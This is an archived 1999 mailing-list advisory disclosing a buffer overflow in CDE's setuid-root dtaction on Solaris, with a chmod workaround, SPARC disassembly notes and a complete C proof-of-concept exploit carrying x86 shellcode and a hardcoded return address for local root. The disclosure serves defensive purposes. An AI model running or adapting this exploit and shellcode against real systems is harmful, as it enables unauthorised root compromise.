Vulnerability in dtaction

From: Job de Haas (jobat_private)
Date: Mon Sep 13 1999 - 07:04:35 PDT

  • Next message: Bill Pemberton: "Re: elm filter program"

    Hello,
    
    I discovered the following security problem in dtaction, part of CDE:
    
    
    Description
    -----------
    /usr/dt/bin/dtaction contains a buffer overflow when a username of more than
    1024 bytes is supplied as an argument.
    
    
    Impact
    ------
    The buffer overflow can lead to local root compromise.
    
    
    Workaround
    ----------
    dtaction allows local or remote invocation of an 'Action' as any user. This
    is why dtaction is setuid root. If this feature is not needed the setuid bits
    can be removed:
    
    as root type: chmod 555 /usr/dt/bin/dtaction
    
    dtaction can then still be used to invoke local and remote 'Actions' as the
    user invoking dtaction.
    
    
    Affected systems
    ----------------
    Although the overflow is present in most implementations, exploiting it is
    very much system dependent. Below an example exploit for Solaris 7 x86 is
    is given.
    
    The only systems I have checked were:
    
    Solaris 7, 2.6, 2.5.1
    
    
    Background
    ----------
    Despite the fact that Georgi Gunski found a buffer overflow in dtaction in
    1997, no-one apparently checked dtaction any further. The overflow that was
    discovered then appeared to be due to a bug in the shared library libDtSvc.so,
    which was subsequently fixed. Even though the Sun Security Bulletin 164 at
    that time said:
    
            Due to insufficient bounds checking on arguments supplied
            to dtaction, it is possible to overwrite the internal stack space of
            dtaction. As dtaction is setuid root, this vulnerability may be
            exploited to gain root access.
    
    Apparently not all user supplied arguments were checked.
    
    Supplying a username over 1024 with the argument -user will overflow an
    internal buffer used to log a message to /var/adm/sulog. Although the
    overflow can succeed, a message will always be logged to /var/adm/sulog.
    
    The overflow is in a function called AddSuLog, which is called from a function
    LogFailure, which in turn is called from a function UnknownUser:
    
    The code at the end of the routine UnkownUser() looks like this (all on
    Solaris 2.6):
    
    UnknownUser+0x025c: call    LogFailure
    UnknownUser+0x0260: nop
    UnknownUser+0x0264: call    0x00023904 [unresolved PLT 54: XmStringFree]
    UnknownUser+0x0268: mov     %i3, %o0
    UnknownUser+0x026c: call    0x00023904 [unresolved PLT 54: XmStringFree]
    UnknownUser+0x0270: mov     %i2, %o0
    UnknownUser+0x0274: call    0x00023910 [unresolved PLT 55: XtFree]
    UnknownUser+0x0278: mov     %i4, %o0
    UnknownUser+0x027c: sethi   %hi(0x23c00), %o0
    UnknownUser+0x0280: call    0x000237a8 [unresolved PLT 25: XtAppMainLoop]
    UnknownUser+0x0284: ld      [%o0 + 0x3c4], %o0
    UnknownUser+0x0288: ret
    UnknownUser+0x028c: restore
    
    According to the discription of XtAppMainLoop, it will never return. This will
    make the overflow not exploitable on systems where the return address on the
    stack is for the caller of the caller (like sparc). However, when we inspect
    the function XtAppMainLoop on Solaris 2.6 we find:
    
    XtAppMainLoop       :       save    %sp, -0xc0, %sp
    XtAppMainLoop+0x0004:       tst     %i0
    XtAppMainLoop+0x0008:       be      XtAppMainLoop+0x30
    XtAppMainLoop+0x000c:       add     %fp, -0x60, %o1
    XtAppMainLoop+0x0010:       ld      [%i0 + 0x224], %o0
    XtAppMainLoop+0x0014:       tst     %o0
    XtAppMainLoop+0x0018:       be      XtAppMainLoop+0x30
    XtAppMainLoop+0x001c:       add     %fp, -0x60, %o1
    XtAppMainLoop+0x0020:       ld      [%i0 + 0x224], %o1
    XtAppMainLoop+0x0024:       jmpl    %o1, %o7
    XtAppMainLoop+0x0028:       mov     %i0, %o0
    XtAppMainLoop+0x002c:       add     %fp, -0x60, %o1
    XtAppMainLoop+0x0030:       call    0xef5a193c [unresolved PLT 181:
                                                                XtAppNextEvent]
    XtAppMainLoop+0x0034:       mov     %i0, %o0
    XtAppMainLoop+0x0038:       call    0xef5a1948 [unresolved PLT 182:
                                                                XtDispatchEvent]
    XtAppMainLoop+0x003c:       add     %fp, -0x60, %o0
    XtAppMainLoop+0x0040:       ldsb    [%i0 + 0x21c], %o0
    XtAppMainLoop+0x0044:       tst     %o0
    XtAppMainLoop+0x0048:       be      XtAppMainLoop+0x30
    XtAppMainLoop+0x004c:       add     %fp, -0x60, %o1
    XtAppMainLoop+0x0050:       tst     %i0
    XtAppMainLoop+0x0054:       be      XtAppMainLoop+0x78
    XtAppMainLoop+0x0058:       nop
    XtAppMainLoop+0x005c:       ld      [%i0 + 0x228], %o0
    XtAppMainLoop+0x0060:       tst     %o0
    XtAppMainLoop+0x0064:       be      XtAppMainLoop+0x78
    XtAppMainLoop+0x0068:       nop
    XtAppMainLoop+0x006c:       ld      [%i0 + 0x228], %o1
    XtAppMainLoop+0x0070:       jmpl    %o1, %o7
    XtAppMainLoop+0x0074:       mov     %i0, %o0
    XtAppMainLoop+0x0078:       ret
    XtAppMainLoop+0x007c:       restore
    
    It seems that this function might end if a certain test fails. It is unclear
    if this is a test under control of the user.
    
    Below is a simple C program which shows the problem on Solaris 7 x86, which
    has a stack with the return address of the caller on it.
    
    Regards,
    
    Job
    
    ---
    Job de Haas         jobat_private
    ITSX bv      http://www.itsx.com
    
    
    -------8<-----------------------------------------------------------------
    /*
     * dtaction_ov.c
     * Job de Haas
     * (c) ITSX bv 1999
     *
     * This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
     * It has only been tested on Solaris 7 x86
     * assembly code has been taken from ex_dtprintinfo86.c by unewn4that_private
     *
     */
    
    #include <stdio.h>
    
    #include <stdlib.h>
    #include <string.h>
    #include <pwd.h>
    
    #define BUFLEN 998
    
    char exploit_code[] =
    "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
    "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
    "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
    "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
    "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
    "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
    "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
    "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
    "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
    "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
    
    main()
    {
        char *argp[6], *envp[3];
        char buf[2048];
        unsigned long *p;
        struct passwd *pw;
        int buflen;
    
        if ((pw = getpwuid(getuid())) == NULL) {
            perror("getpwuid");
            exit(1);
        }
    
        buflen = BUFLEN - strlen( pw->pw_name );
    
        memset(buf,0x90,buflen);
    
        strncpy( &buf[500], exploit_code, strlen(exploit_code));
    
        /* set some pointers to values that keep code running */
        p = (unsigned long *)&buf[buflen];
        *p++ = 0x37dc779b;
        *p++ = 0xdfaf6502;
        *p++ = 0x08051230;
        *p++ = 0x080479b8;
    
        /* the return address. */
        *p++ = 0x08047710;
        *p = 0;
    
        argp[0] = strdup("/usr/dt/bin/dtaction");
        argp[1] = strdup("-u");
        argp[2] = strdup(buf);
        argp[3] = strdup("Run");
        argp[4] = strdup("/usr/bin/id");
        argp[5] = NULL;
    
        if (!getenv("DISPLAY")) {
            printf("forgot to set DISPLAY\n");
            exit(1);
        }
    
        envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
        strcpy(envp[0],"DISPLAY=");
        strcat(envp[0],getenv("DISPLAY"));
        envp[1] = NULL;
    
        execve("/usr/dt/bin/dtaction",argp,envp);
    
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:03:16 PDT